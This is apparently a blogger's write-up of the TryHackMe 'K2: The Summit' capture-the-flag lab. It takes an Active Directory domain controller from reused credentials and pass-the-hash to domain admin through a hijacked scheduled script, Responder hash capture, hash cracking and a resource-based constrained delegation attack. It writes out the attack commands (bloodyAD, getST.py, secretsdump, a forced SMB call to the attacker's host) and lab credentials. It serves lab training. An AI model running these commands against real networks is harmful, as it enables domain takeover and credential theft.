Skip to main content
  1. CTF write-ups/

TryHackMe: K2-Summit

·2471 words·12 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Difficulty: Hard

Key Skills: Active Directory Enumeration, Credential Reuse, Pass-the-Hash, BloodHound Analysis, Lateral Movement, RBCD

Challenge: K2: The Summit

Platform: TryHackMe


Overview
#

This is the final leg of the K2 challenge series. After breaching the web server and compromising the first domain controller in Parts 1 and 2, now, we face the root domain controller. The summit of K2. The goal is to leverage everything we’ve gathered so far to achieve full domain compromise.

Challenge Description
#

You are almost there; you can see the summit from where you stand. Even the IT team is impressed at how far you have made into the network.

You can’t stop now; with all of the information gathered, you will reach the very top and prove your skills.


Starting Position
#

From the previous challenges, we’ve accumulated the following credentials:

Valid User Credentials:

j.bold@k2.thm:#8rockyou
r.bud@k2.thm:vRMkaVgdfxhW!8
j.smith@k2.thm:Password1

Password List for Spraying:

Pwd@9tLNrC3!
VrMAogdfxW!9
PasSW0Rd321
St3veRoxx32
PartyAlLDaY!32
L0v3MyDog!3!
PikAchu!IshoesU!
vRMkaVgdfxhW!8
RdzQ7MSKt)fNaz3!
#8rockyou
Password1

NTLM Hashes:

Administrator:9545b61858c043477c350ae86c37b32f

With these credentials in hand, it’s time to enumerate the root domain controller.


Reconnaissance
#

Port Scanning
#

I started with a RustScan to quickly identify open ports, piping the results into Nmap for service enumeration:

┌──(parallels㉿Kali)-[~/targets/k2/summit]
└─$ rustscan -a 10.80.189.251 -- -A -oN scan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.80.189.251:53
Open 10.80.189.251:88
Open 10.80.189.251:139
Open 10.80.189.251:135
Open 10.80.189.251:389
Open 10.80.189.251:445
Open 10.80.189.251:464
Open 10.80.189.251:593
Open 10.80.189.251:636
Open 10.80.189.251:3269
Open 10.80.189.251:3268
Open 10.80.189.251:3389
Open 10.80.189.251:5985
Open 10.80.189.251:7680
Open 10.80.189.251:9389
Open 10.80.189.251:49670
Open 10.80.189.251:49671
Open 10.80.189.251:49669
Open 10.80.189.251:49679
Open 10.80.189.251:49675
Open 10.80.189.251:49704

[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.80.189.251
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-05 09:38 -0500

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-02-05 14:39:01Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 126
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 126
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
|_ssl-date: 2026-02-05T14:40:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=K2RootDC.k2.thm
| Issuer: commonName=K2RootDC.k2.thm

5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

7680/tcp  open  pando-pub?    syn-ack ttl 126
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49671/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49704/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC

Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).

Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: K2ROOTDC; OS: Windows; CPE: cpe:/o:microsoft:windows

The scan reveals a classic Active Directory domain controller setup. Key observations:

  • DNS name: K2RootDC.k2.thm — added this to /etc/hosts immediately
  • Port 88 (Kerberos): Confirms this is a domain controller
  • Port 5985 (WinRM): Potential remote management access if we get valid credentials
  • Port 3389 (RDP): Another potential access vector once we get valid creds
  • OS: Windows Server 2019

Anonymous Enumeration with enum4linux-ng
#

Before trying our credentials, I always check what information can be gathered anonymously. enum4linux-ng is my go to tool for this:

┌──(parallels㉿Kali)-[~/targets/k2/summit]
└─$ enum4linux-ng -A 10.80.189.251 -oA results.txt               
ENUM4LINUX - next generation (v1.3.7)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.80.189.251
[*] Username ......... ''
[*] Random Username .. 'mdlbqmji'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ======================================
|    Listener Scan on 10.80.189.251    |
 ======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    Domain Information via LDAP for 10.80.189.251    |
 =====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: k2.thm

 ============================================================
|    NetBIOS Names and Workgroup/Domain for 10.80.189.251    |
 ============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ==========================================
|    SMB Dialect Check on 10.80.189.251    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.0.2: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ============================================================
|    Domain Information via SMB session for 10.80.189.251    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: K2ROOTDC
NetBIOS domain name: K2
DNS domain: k2.thm
FQDN: K2RootDC.k2.thm
Derived membership: domain member
Derived domain: K2

 ==========================================
|    RPC Session Check on 10.80.189.251    |
 ==========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE

 ====================================================
|    Domain Information via RPC for 10.80.189.251    |
 ====================================================
[+] Domain: K2
[+] Domain SID: S-1-5-21-1966530601-3185510712-10604624
[+] Membership: domain member

 ================================================
|    OS Information via RPC for 10.80.189.251    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

 ======================================
|    Users via RPC on 10.80.189.251    |
 ======================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 =======================================
|    Groups via RPC on 10.80.189.251    |
 =======================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 =======================================
|    Shares via RPC on 10.80.189.251    |
 =======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 ==========================================
|    Policies via RPC for 10.80.189.251    |
 ==========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ==========================================
|    Printers via RPC for 10.80.189.251    |
 ==========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 24.54 seconds

The server allows null session authentication, but we have no permissions to enumerate users, groups, or shares. However, we did obtain the Domain SID (S-1-5-21-1966530601-3185510712-10604624), which could be useful for SID brute forcing.

Testing SMB and RPC Access
#

I verified the null session findings manually. While authentication succeeds, we have no meaningful permissions:

image.png

Direct RPC authentication as anonymous confirms the same, we can connect but can’t enumerate:

image.png

Since we have the Domain SID from enum4linux, I attempted to use lookupsid.py from Impacket to enumerate users by brute forcing RIDs:

image.png

No luck, the anonymous access restrictions are too tight. Time to leverage the credentials from previous challenges.


Initial Access
#

User Validation with Kerbrute
#

Before attempting authentication, I wanted to verify which of our previously obtained users exist on this new domain controller. For this, we use Kerbrute userenum.

image.png

We have a hit: j.smith is a valid user on this domain.

Testing Attack Vectors
#

With a valid username confirmed, I tested several attack vectors:

AS-REP roasting: Attempted to asrep roast the user, but user didnt have dont require pre auth set:

image.png

Username as Password: A quick check for the lazy admin scenario where username equals password:

image.png

No luck there either.

Anonymous LDAP Dump: Tried to extract LDAP data without credentials:

image.png

LDAP requires an authentication bind, we can’t dump anonymously.

Password Policy Enumeration: Before attempting a brute force, I wanted to know the lockout threshold. Unfortunately, querying the password policy anonymously also fails:

image.png

Password Spraying: Using our collected password list against j.smith:

image.png

None of the passwords worked. At this point, I needed to think more creatively.

Pass the Hash: Credential Reuse Wins!
#

One attack vector I hadn’t tried yet: testing if the Administrator hash from the previous domain controller works for j.smith on this DC.

Using NetExec to pass the Administrator’s NTLM hash for the j.smith account:

image.png

It worked! This is a classic example of credential reuse, someone configured j.smith’s password to be the same as the Administrator account from the previous DC.

Getting a Shell
#

With valid credentials confirmed, I used Evil-WinRM to establish a shell:

image.png

We now have a foothold on the root domain controller as j.smith. No flag in this user’s directory though, so we need to move laterally or escalate privileges.


Enumeration with BloodHound
#

With valid domain credentials, it’s time to map out the Active Directory environment. BloodHound is invaluable for visualizing attack paths in AD environments. I ran the Bloodhound-Python collector to gather data:

image.png

After importing the data into BloodHound, I began analyzing users with interesting privileges.

Identifying the Target: o.armstrong
#

Examining the users, I discovered o.armstrong has some very valuable permissions:

image.png

Looking more closely at o.armstrong’s privileges:

image.png

o.armstrong has GenericWrite privileges over the K2ROOTDC computer object. GenericWrite on a computer object allows us to configure Resource Based Constrained Delegation (RBCD), which is a path to domain admin. We need to compromise this user.


Lateral Movement to o.armstrong
#

Discovery: Writable Scheduled Task
#

While exploring the file system, I found something interesting in C:\Scripts:

image.png

A backup.bat script owned by o.armstrong! The script copies notes from Desktop to Documents, likely running on a schedule. If we can modify this script, we can execute code as o.armstrong.

Checking our permissions on the Scripts directory:

image.png

Our user (j.smith) has Full Control over this directory. This means we can replace the batch file with our own malicious version.

Crafting the Payload
#

I generated a PowerShell reverse shell payload and placed it in a batch file:

image.png

After uploading the malicious backup.bat to replace the original (and ensuring proper permissions so o.armstrong can execute it), I set up a listener and waited.

Shell as o.armstrong
#

Moments later, the scheduled task ran, and we received our reverse shell:

image.png

Checking o.armstrong’s desktop:

image.png

User flag captured!


Privilege Escalation via RBCD
#

Now comes the exciting part. We control o.armstrong, who has GenericWrite over K2ROOTDC. This allows us to perform a Resource Based Constrained Delegation (RBCD) attack.

RBCD Attack Explained
#

RBCD allows a computer to specify which accounts can impersonate users to it. With GenericWrite on the DC’s computer object, we can:

  1. Create a new machine account (we control its credentials)
  2. Configure the DC to trust our machine account for delegation
  3. Request a service ticket impersonating any user (like Administrator)
  4. Use that ticket to access the DC as Administrator

Step 1: Obtain o.armstrong’s Password
#

To use bloodyAD for the RBCD attack, we need o.armstrong’s plaintext password or hash. I used Responder to capture the NTLMv2 hash via SMB authentication:

sudo responder -I tun0 

Then forced authentication from our shell:

cmd.exe /c \\192.168.164.168\share 

Responder captured the hash:

image.png

The NTLMv2 hash cant be passed, but can be cracked.

Step 2: Crack the Hash
#

Using hashcat with rockyou.txt:

image.png

Password cracked: arMStronG08

Step 3: Create a Machine Account
#

Using bloodyAD (following the excellent adminions.ca cheatsheet), I created a new computer account using BloodyAD:

bloodyAD --host 10.81.184.202 -d k2.thm -u o.armstrong -p arMStronG08 add computer 'Hello' 'Hello'

image.png

Step 4: Configure RBCD
#

Now we configure the DC to allow our machine account to delegate to it using BloodyAD:

bloodyAD --host 10.81.184.202 -d k2.thm -u o.armstrong -p arMStronG08 add rbcd K2ROOTDC$ Hello$

image.png

Step 5: Request Administrator Ticket
#

With RBCD configured, we can now impersonate any user. Let’s get a ticket as Administrator:

getST.py -dc-ip 10.81.184.202 -impersonate Administrator k2.thm/o.armstrong:arMStronG08

image.png

Step 6: Export and Use the Ticket
#

Export the ticket so our tools can use it:

image.png

Step 7: Dump Domain Secrets
#

With our Administrator ticket, we can now dump the entire domain:

secretsdump.py K2ROOTDC.k2.thm -k 

image.png

We have the Administrator’s NTLM hash!

Step 8: Pass-the-Hash to Root
#

Finally, using Evil-WinRM we can authenticate with the Administrator hash:

image.png

Root flag captured! The K2 Summit is complete!


Key Takeaways
#

Technical Lessons
#

  1. Credential Reuse is Rampant: The initial foothold came from testing if the Administrator hash from a previous DC worked for a different user. Always test for password/hash reuse across accounts and systems.

  2. BloodHound is Essential: Without BloodHound, identifying that o.armstrong had GenericWrite over the DC would have been much harder. Always run BloodHound collection right when you get domain credentials.

  3. Explore the Filesystem: The writable backup script wasn’t in any standard location. Manual enumeration of the filesystem revealed a critical lateral movement opportunity.

  4. RBCD is Powerful: GenericWrite on a computer object might not seem dangerous at first glance, but it enables RBCD attacks that can lead directly to domain admin.

Tools Used
#

  • RustScan/Nmap — Port scanning and service enumeration
  • enum4linux-ng — SMB/RPC enumeration
  • Kerbrute — Kerberos user validation
  • NetExec — redential testing
  • Evil-WinRM — Windows remote shell
  • BloodHound/SharpHound — AD attack path mapping
  • Responder — NTLM hash capture
  • Hashcat — Password cracking
  • bloodyAD — AD manipulation (RBCD configuration)
  • Impacket (getST.py, secretsdump.py) — Kerberos ticketing and credential dumping

The K2 series provided an excellent progression through increasingly complex Active Directory attacks. This was probably my favorite ctf series ive done so far.